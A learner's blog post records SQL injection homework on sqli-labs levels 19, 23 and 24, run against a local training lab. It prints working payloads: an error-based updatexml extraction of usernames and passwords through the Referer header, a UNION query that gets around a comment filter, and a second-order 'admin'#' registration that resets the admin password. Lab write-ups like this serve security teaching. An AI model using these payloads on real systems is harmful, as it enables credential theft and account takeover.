在阿一网络安全培训学习的第20天!课后作业—sqli-labs靶场练习

练习一:第十九关

登录查看回显
发现页面回显: Your Referer is: http://127.0.0.1:20001/Less-19/
因此判断注入点再 HTTP Your Referer
抓包
Burp 查看
判断闭合
输入单引号,判断报错得知闭合为 '
页面产生报错语句,因此直接进行报错查询
查询数据库
输入:
查用户名
查密码
' or updatexml(1,concat(0x7e,substr((select group_concat(username) from
users),1,31),0x7e),1) or '
查密码
' or updatexml(1,concat(0x7e,substr((select group_concat(password) from
users),1,31),0x7e),1) or '

练习二:第23关

登录查看回显
判断闭合
1 个单引号报错
两个单引号正常,由此判断闭合为 '
该关卡注释符号被过滤了
可以通过单引号闭合原语句的单引号,仍可进行查询
判断查询字段数与回显字段
输入
得知查询字段数为 3 ,且回显 2 3 字段数据
查数据
输入
- 1 union select 1 , 2 , 3 '
得知查询字段数为 3 ,且回显 2 3 字段数据
查数据
输入
- 1 union select 1 , 2 , 3 '
- 1 ' union select 1,(select group_concat(username) from users),(select
group_concat(password) from users) '

练习三:第24关

二次注入
创建用户
创建一个用户名为 admin'* 的用户,密码为 123456
登录
进入修改密码界面
修改密码
将密码修改为 111111
用新密码进行登录
账号: admin'#
密码: 111111
登陆失败
但是修改密码显示修改成功,那么修改成功了哪个账号呢?
尝试登录admin账号
密码为 111111
登陆成功
查看数据库信息
发现 admin 账号的密码被我们修改了
分析
本关应该有三个位置有 sql 语句
登录的位置是 select 语句
新建用户的地方是 insert 语句
修改密码的地方是 update 语句。
登录与注册用户都进行了转义处理,无注入点
修改密码代码如下:
update 语句中的 $pass $curr_pass 都是用户输入的参数,都经过转义了,但 $username 是从 session 中读 取的,并且没有经过转义,因此有sql 注入的可能。 username 有注入点,也就是说,这关可以实现不知道已知用户密码的情况下,修改已知用户密码的操作。这样倒推回去,修改密码时登录的用户(也就是攻击者新创建的用户)需要特殊构造。
比如,如果 已知用户是admin ,则新创建的用户应当是 admin'# ,使最终生效的 sql 语句为: UPDATE users SETPASSWORD='$pass' where username='admin'
上面就是我们在学习sql注入时的课后作业,课程还在继续,今后我将会不定期更新咱们的课程进度以及课后作业。因为我们的作业有时候用到的是开源靶场,所以在我能够通过这种方式来记录学习过程的时候也能够帮助到一些自学的小伙伴,是真的挺开心的~
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值